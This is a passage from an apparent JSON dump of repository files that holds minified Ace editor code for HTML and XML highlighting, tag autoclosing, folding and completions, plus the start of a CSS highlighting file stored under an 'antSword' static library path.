eta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v})"
  },
  {
    "path": "antSword/static/libs/ace/mode-html_ruby.js",
    "content": "ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"}